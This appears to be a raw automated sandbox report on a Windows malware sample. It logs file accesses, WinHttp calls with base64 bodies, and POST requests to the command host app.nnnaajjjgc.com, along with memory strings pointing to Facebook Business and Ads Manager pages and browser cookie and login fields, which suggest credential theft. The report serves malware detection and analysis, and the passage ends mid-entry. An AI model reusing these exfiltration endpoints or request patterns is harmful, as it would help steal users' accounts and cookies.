"C:\E9DC3C310187D5AA3A5451C4C6799792B5E6C501DA776F0ADEAF16302AA84E6E.EXE.CONFIG" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\FUSION.LOCALGAC" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac" ".exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\E9DC3C310187D5AA3A5451C4C6799792B5E6C501DA776F0ADEAF16302AA84E6E.EXE.LOG" ".exe" trying to access non-existent file "C:\e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.exe.config" ".exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\WOWO2" ".exe" trying to access non-existent file "C:\E9DC3C310187D5AA3A5451C4C6799792B5E6C501DA776F0ADEAF16302AA84E6E.INI" ".exe" trying to access non-existent file "C:\e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.INI" ".exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" ".exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\aafg31.exe:ZONE.IDENTIFIER" ".exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\aafg31.exe:Zone.Identifier" ".exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\toolspub2.exe:ZONE.IDENTIFIER" ".exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\toolspub2.exe:Zone.Identifier" ".exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe:ZONE.IDENTIFIER" ".exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe:Zone.Identifier" ".exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\latestplayer.exe:ZONE.IDENTIFIER" ".exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\latestplayer.exe:Zone.Identifier"43:T40a,".exe" writes a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.exe.log" ".exe" writes a file "%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.exe.log" "powershell.exe" writes a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log" "powershell.exe" writes a file "%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log" "powershell.exe" writes a file "C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log" "powershell.exe" writes a file "%WINDIR%\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log" "e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.exe" writes a file "%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.exe.log"44:Tddf,"aafg31.exe" called "WinHttpSendRequest" with parameters {"hRequest": "5547ef0" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "aafg31.exe" called "WinHttpSendRequest" with parameters {"hRequest": "5547ef0" "dwHeadersLength": "0" "lpOptional": "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNekVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" "dwOptionalLength": "160" "dwTotalLength": "160" "dwContext": "0"} "aafg31.exe" called "WinHttpSendRequest" with parameters {"hRequest": "54ebd30" "dwHeadersLength": "0" "lpOptional": "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNekVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" "dwOptionalLength": "160" "dwTotalLength": "160" "dwContext": "0"} "aafg31.exe" called "WinHttpSendRequest" with parameters {"hRequest": "553d770" "dwHeadersLength": "0" "lpOptional": "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNekVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" "dwOptionalLength": "160" "dwTotalLength": "160" "dwContext": "0"} "aafg31.exe" called "WinHttpSendRequest" with parameters {"hRequest": "5932300" "dwHeadersLength": "0" "lpOptional": "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNekVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" "dwOptionalLength": "160" "dwTotalLength": "160" "dwContext": "0"} "aafg31.exe" called "WinHttpSendRequest" with parameters {"hRequest": "5931f30" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "aafg31.exe" called "WinHttpSendRequest" with parameters {"hRequest": "5932300" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "aafg31.exe" called "WinHttpSendRequest" (UID: 00000000-00001296) "aafg31.exe" called "WinHttpSendRequest" with parameters {"hRequest": "59326d0" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "aafg31.exe" called "WinHttpSendRequest" with parameters {"hRequest": "59313c0" "dwHeadersLength": "0" "lpOptional": "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNekVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" "dwOptionalLength": "160" "dwTotalLength": "160" "dwContext": "0"} "aafg31.exe" called "WinHttpSendRequest" with parameters {"hRequest": "5930ff0" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "aafg31.exe" called "WinHttpSendRequest" with parameters {"hRequest": "5954a30" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "aafg31.exe" called "WinHttpSendRequest" with parameters {"hRequest": "5956110" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "aafg31.exe" called "WinHttpSendRequest" with parameters {"hRequest": "5956110" "dwHeadersLength": "0" "lpOptional": "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNekVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" "dwOptionalLength": "160" "dwTotalLength": "160" "dwContext": "0"} "aafg31.exe" called "WinHttpSendRequest" with parameters {"hRequest": "59564e0" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"}45:T59a,"aafg31.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "5547ef0" "lpReserved": "0"} "aafg31.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "54ebd30" "lpReserved": "0"} "aafg31.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "553d770" "lpReserved": "0"} "aafg31.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "5932300" "lpReserved": "0"} "aafg31.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "5931f30" "lpReserved": "0"} "aafg31.exe" called "WinHttpReceiveResponse" (UID: 00000000-00001296) "aafg31.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "59326d0" "lpReserved": "0"} "aafg31.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "59313c0" "lpReserved": "0"} "aafg31.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "5930ff0" "lpReserved": "0"} "aafg31.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "5954a30" "lpReserved": "0"} "aafg31.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "5956110" "lpReserved": "0"} "aafg31.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "59564e0" "lpReserved": "0"} "aafg31.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "5955d40" "lpReserved": "0"} "aafg31.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "59551d0" "lpReserved": "0"}46:T497,Found http requests in header "GET /check/safe" Found http requests in header "POST /check/?sid=312434&key=f76e638161751dce503fb90d61f53030" Found http requests in header "POST /check/?sid=312438&key=304d040709cd0b81c707a35974dbf7d2" Found http requests in header "POST /check/?sid=312448&key=c334ae6dbac4b4a40797d3cd0e7c2c47" Found http requests in header "POST /check/?sid=312454&key=b7839edef07b3f72fe0ff103ec0cccba" Found http requests in header "POST /check/?sid=312464&key=f3554304e1618a8a6928b569b13a50f2" Found http requests in header "POST /check/?sid=312472&key=96dc7ed7723aed6b8a9b50bfc736ed41" Found http requests in header "POST /check/?sid=312482&key=6df0a97f0935be5d94a6ab08c88b4362" Found http requests in header "POST /check/?sid=312492&key=a2ad026d7d4414bed451b0dad06d3c43" Found http requests in header "POST /check/?sid=312508&key=a8ea6ce274a3ad3a5a088f7242156ce5" Found http requests in header "POST /check/?sid=312510&key=41d3198b589baf0213cf9af16b49fff1" Found http requests in header "POST /check/?sid=312522&key=e00847db4e4b165915e017317d9879f7" Found http requests in header "POST /check/?sid=312534&key=9889af6b68adea18a5f962e4c989e10e"47:Tdf5,Heuristic match: "IT.Tn" Heuristic match: "P~D.bt" Pattern match: "http://schemas.microsoft.com/SMI/2005/WindowsSettings" Pattern match: "PjVW-PjWW.PjRW/PjSWHPjPWLPjQW" Pattern match: "SPj-SPj.SPj/SPj0SPjDSPjESPjFSPjGSPjHSPjISPjJSPjKSPjLSPjMSPjNSPjOSjPj8SPj9SPj:SPj;SPj" Pattern match: "www.clarity.msCLIDv10" Heuristic match: "app.nnnaajjjgc.com" Heuristic match: "GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Host: app.nnnaajjjgc.com" Heuristic match: "z.nnnaajjjgc.com" Pattern match: "https://zaoshang.ru" Pattern match: "http://schemas.microsoft.com/SMI/2016/WindowsSettings" Pattern match: "Microsoft.NET/Framework/v4.0.30319/" Heuristic match: "Backup12~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "Microsoft-Windows-Client-Features-WOW64-Package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "299.15.cat" Pattern match: "http://cybertrust.omniroot.com/repository.cfm0" Pattern match: "http://ocsp.omniroot.com/baltimoreroot0" Pattern match: "cdp1.public-trust.com/CRL/Omniroot2025.crl0" Pattern match: "http://www.microsoft.com0" Pattern match: "crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/MicRooCerAut2011_2011_03_22.crt0" Pattern match: "www.verisign.com/CPS" Pattern match: "https://www.verisign.com/CPS04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.digicert.com1$0" Pattern match: "www.digicert.com1+0" Pattern match: "www.microsoft.com/pkiops/Docs/Repository.htm" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/CPS_2048" Pattern match: "https://wdcp.microsoft.com/wdcp.svc/submitReport" Pattern match: "crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl0Z" Pattern match: "http://www.micros" Pattern match: "www.microsoft.com/PKI/docs/CPS/defau" Heuristic match: "C`.eS" Heuristic match: "ntrust.net" Pattern match: "http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt07" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://www.certplus.com/CRL/class2.crl0" Pattern match: "http://crl.securetrust.com/STCA.crl0" Pattern match: "www.digicert.com1" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "crl.microsoft.com/pki/crl/products/MicCerLisCA2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/MicCerLisCA2011_2011-03-29.crt0" Pattern match: "0www.entrust.net/CPS" Pattern match: "http://repository.swisssign.com/0" Pattern match: "crl.comodoca.com/AAACertificateServices.crl06" Pattern match: "crl.comodo.net/AAACertificateServices.crl0" Pattern match: "www.digicert.com1!0" Pattern match: "soft.com/pki/certs/MicCerLisCA2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23" Pattern match: "crl.microsoft.com/pki/crl/products/MicTimStaPCA_2010-07-01.crl0Z" Pattern match: "http://www.microsoft.com/pki/certs/MicTimStaPCA_2010-07-01.crt0" Pattern match: "www.microsoft.com/pkiops/crl/MicWinProPCA2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/MicWinProPCA2011_2011-10-19.crt0"48:T91db,Found URL "http://cybertrust.omniroot.com/repository.cfm060402&http://ocsp.omniroot.com/baltimoreroot0;09071http://cdp1.public-trust.com/crl/omniroot2025.crl0&+;fbo&e" - Source: "00000000-00000100.00000000.70938.00C30000.00000004.mdmp") Found URL "http://www.microsoft.com0h" - Source: "00000000-00000100.00000000.70938.00C30000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0m&5upqt4ja^" - Source: "00000000-00000100.00000000.70938.00C30000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00000100.00000000.70938.00D11000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0root" - Source: "00000000-00000100.00000000.70938.00D11000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00000100.00000000.70938.00D11000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00000100.00000000.70938.00D11000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?l*mrl*mrsecom" - Source: "00000000-00000100.00000000.70938.00D11000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00000100.00000000.70938.00D11000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00000100.00000000.70938.00D11000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00000100.00000000.70938.00D11000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.micros1http://www.microsoft.com/pki/docs/cps/defaubindinginfo-5c747b21-7fb2-" - Source: "00000000-00000100.00000000.70938.00E50000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00000100.00000000.70938.07210000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4>@6t+a6" - Source: "00000000-00000100.00000000.70938.07210000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00000100.00000000.70938.07210000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0f" - Source: "00000000-00000100.00000000.70938.6F4B1000.00000020.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001296.00000000.69413.00900000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00001296.00000000.69413.05480000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00001296.00000000.69413.05480000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00001296.00000000.69413.05480000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00001296.00000000.69413.05480000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00001296.00000000.69413.05480000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00001296.00000000.69413.05480000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlquuuecs1ecs2" - Source: "00000000-00001296.00000000.69413.05480000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/procrosoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00001296.00000000.69413.05480000.00000004.mdmp") Found URL "https://z.nnnaajjjgc.com/sts/imagd.jpgavauwvshhc@acenqv[_" - Source: "00000000-00001296.00000001.71334.04AF0000.00000004.mdmp") Found URL "https://business.facebook.comsec-fetch-site:" - Source: "00000000-00001296.00000001.71334.04AF0000.00000004.mdmp") Found URL "https://www.fame-sitetch-site:" - Source: "00000000-00001296.00000001.71334.04AF0000.00000004.mdmp") Found URL "https://business.facebook.com/billing_hub/payment_settings/?asset_id=?asset_id" - Source: "00000000-00001296.00000001.71334.04AF0000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safe" - Source: "00000000-00001296.00000001.71334.04AF0000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=" - Source: "00000000-00001296.00000001.71334.04AF0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00001296.00000001.71334.05480000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00001296.00000001.71334.05480000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00001296.00000001.71334.05480000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00001296.00000001.71334.05480000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00001296.00000001.71334.05480000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00001296.00000001.71334.05480000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/saferagernamerotected_storagejgc.comoftware\microsoft\windows\currentversion\internet" - Source: "00000000-00001296.00000001.71334.054E8000.00000004.mdmp") Found URL "https://www.facebook.com/https://www.facebook.com/login/device-based/login/https://adsmanager.facebook.com/ads/manager/accountshttps://business.facebook.com/api/graphql/?lll=ppphttps://business.facebook.com/selecthttps://www.facebook.com/pages/?category=your_pages&ref=bookmarks!$).056;>acenqv[_" - Source: "00000000-00001296.00000001.71334.05600000.00000040.mdmp") Found URL "https://business.facebook.comsec-fetch-site:" - Source: "00000000-00001296.00000001.71334.05600000.00000040.mdmp") Found URL "https://www.fame-sitetch-site:" - Source: "00000000-00001296.00000001.71334.05600000.00000040.mdmp") Found URL "https://business.facebook.com/billing_hub/payment_settings/?asset_id=?asset_id" - Source: "00000000-00001296.00000001.71334.05600000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safe" - Source: "00000000-00001296.00000001.71334.05600000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=" - Source: "00000000-00001296.00000001.71334.05600000.00000040.mdmp") Found URL "https://www.facebook.com/https://www.facebook.com/login/device-based/login/https://adsmanager.facebook.com/ads/manager/accountshttps://business.facebook.com/api/graphql/?lll=ppphttps://business.facebook.com/selecthttps://www.facebook.com/pages/?category=your_pages&ref=bookmarks!$).056;>acenqv[_" - Source: "00000000-00001296.00000001.71334.05780000.00000040.mdmp") Found URL "https://business.facebook.comsec-fetch-site:" - Source: "00000000-00001296.00000001.71334.05780000.00000040.mdmp") Found URL "https://www.fame-sitetch-site:" - Source: "00000000-00001296.00000001.71334.05780000.00000040.mdmp") Found URL "https://business.facebook.com/billing_hub/payment_settings/?asset_id=?asset_id" - Source: "00000000-00001296.00000001.71334.05780000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safe" - Source: "00000000-00001296.00000001.71334.05780000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=" - Source: "00000000-00001296.00000001.71334.05780000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safetion_upload_status,possible_usernam941000000hrbtsamesiteypted_value)d_valueencrypted_valueprioritystentis_persistenthas_expiresess_utclast_access_utcis_httponlyis_secureexpires_utcpathvaluenamehost_key_utcb7a7cca04ae98d24ua5e08d3d15881c3616c280f63f4cba4403fe0503adaf693379fb65qf027d4e429e8966e794e0e1947d9ffcreation_utc2aaa41abyme?sid=312554&key=3634134e00f6373e0c4c90c31c29c7cfhttp://app.nnnaajjjgc.com/check/safecontent-typeapplication/x-www-form-urlencodedhrbthrbt" - Source: "00000000-00001296.00000001.71334.05942000.00000004.mdmp") Found URL "https://z.nnnaajjjgc.com/sts/imagd.jpgavauwvshhc@acenqv[_" - Source: "00000000-00001296.00000002.73251.04AF0000.00000004.mdmp") Found URL "https://business.facebook.comsec-fetch-site:" - Source: "00000000-00001296.00000002.73251.04AF0000.00000004.mdmp") Found URL "https://www.fame-sitetch-site:" - Source: "00000000-00001296.00000002.73251.04AF0000.00000004.mdmp") Found URL "https://business.facebook.com/billing_hub/payment_settings/?asset_id=?asset_id" - Source: "00000000-00001296.00000002.73251.04AF0000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safe" - Source: "00000000-00001296.00000002.73251.04AF0000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=" - Source: "00000000-00001296.00000002.73251.04AF0000.00000004.mdmp") Found URL "https://pp.nnnaajjjgc.com/check/safeapp.nnnaajjjgc.com/check/safettp/1.1" - Source: "00000000-00001296.00000002.73251.05480000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=312774&key=dd53f155acefdc88d2e26983796f8ee9teredo" - Source: "00000000-00001296.00000002.73251.05480000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00001296.00000002.73251.05480000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00001296.00000002.73251.05480000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00001296.00000002.73251.05480000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00001296.00000002.73251.05480000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00001296.00000002.73251.05480000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00001296.00000002.73251.05480000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=312778&key=8e23f061e7b165149ca89c994db14e127631307d2900c7f3d90e72c954514d85e01321ddef691979ccf39b41e1a3deb540e2e230170a9e10fe30eed2046e1c39c12d7323902059963" - Source: "00000000-00001296.00000002.73251.05480000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=312778&key=8e23f061e7b165149ca89c994db14e127631306b818c77d6fadfa1cb591e1c480b343b2d2569b3ca36725203ffaf48a8d991cb6bisinstall7631305c75b60dadb7794b1dfee86a44323061845c056dfbd11dc3bf62ab7114088693f959b5a86brand_str7631305c75b60dadb7794b1dfee86a44323061845c056dfbd11dc3bf62ab7114088693f959b5a86b763130c6a0d19e1da0668a7da633271b5cdab787d0d42dc311b7833fe6e25a37eeeb24a98c8c412593f714763130c6a0d19e1da0668a7da633271b5cdab787d0d42dc311b7833fe6e25a37eeeb24a98c8c412593f714ohort763130c6a0d19e1da0668a7da633271b5cdab787d0d42dc311b7833fe6e25a37eeeb24a98c8c412593f7142aaa101un_pwdtimeohortnamepaokgec2aaa101un_pwdpplied_policylogins7631306b818c77d6fadfa1cb591e1c480b343b2d2569b3ca36725203ffaf48a8d991cb6bayload_counteroginsoifq==7631306b818c77d6fadfa1cb591e1c480b343b2d2569b3ca36725203ffaf48a8d991cb6b7631305c75b60dadb7794b1dfee86a44323061845c056dfbd11dc3bf62ab7114088693f959b5a86bhttp://app.nnnaajjjgc.com/check/?sid=312778&key=8e23f061e7b165149ca89c994db14e12ohortnamenamens_counns_seed48a87631305c75b60dadb7794b1dfee86a44323061845c056dfbd11dc3bf62ab7114088693f959b5a86bhttponlyexpirationdatehttponly_coachmocal\mhmark_sdomainondatens_permns_safe7631306b818c77d6fadfa1cb591e1c480b343b2d2569b3ca36725203ffaf48a8d991cb6b763130c6a0d19e1da0668a7da633271b5cdab787d0d42dc311b7833fe6e25a37eeeb24a98c8c412593f714tate_reset_profilns_safetabilityns_safehow_disns_safeariationseb_widget7631306b818c77d6fadfa1cb591e1c480b343b2d2569b3ca36725203ffaf48a8d991cb6bimestampz1a2etns_lastomainerience7631305c75b60dadb7794b1dfee86a44323061845c056dfbd11dc3bf62ab7114088693f959b5a86b3f714i6mty5expirationdatepathsamesitens_safecheck/ns_safens_safens_seedpplied_policyns_crasns_safens_seedestartedin_statens_seedns_seed763130c6a0d19e1da0668a7da633271b5cdab787d0d42dc311b7833fe6e25a37eeeb24a98c8c412593f714securevaluepplied_policydomainondatens_sess_due_expplied_policyns_compns_faili6mty5mza2ndq0nswicmfuzf9zdhiioijbuvr4z1qifq==c:\users\hapubws\appdata\local\microsoft\edge\user" - Source: "00000000-00001296.00000002.73251.05480000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=312770&key=76313047b7a7cca04ae98d249158afa5a5e08d3d15881c3616c280f63f4cba44039582f6cc7a72a1bec2b1ac3a7630162db1ac3a7630162d1.a81d1959892ae4180554347df1b97834abba2e1a5e6b9aeba000ecea26eabecc1.125fd0cb9c88b3af18a990b5df6b19469ca83cf2797a779084664bd7cd49b60abloc," - Source: "00000000-00001296.00000002.73251.05480000.00000004.mdmp") Found URL "https://www.facebook.com/https://www.facebook.com/login/device-based/login/https://adsmanager.facebook.com/ads/manager/accountshttps://business.facebook.com/api/graphql/?lll=ppphttps://business.facebook.com/selecthttps://www.facebook.com/pages/?category=your_pages&ref=bookmarks!$).056;>acenqv[_" - Source: "00000000-00001296.00000002.73251.05600000.00000040.mdmp") Found URL "https://business.facebook.comsec-fetch-site:" - Source: "00000000-00001296.00000002.73251.05600000.00000040.mdmp") Found URL "https://www.fame-sitetch-site:" - Source: 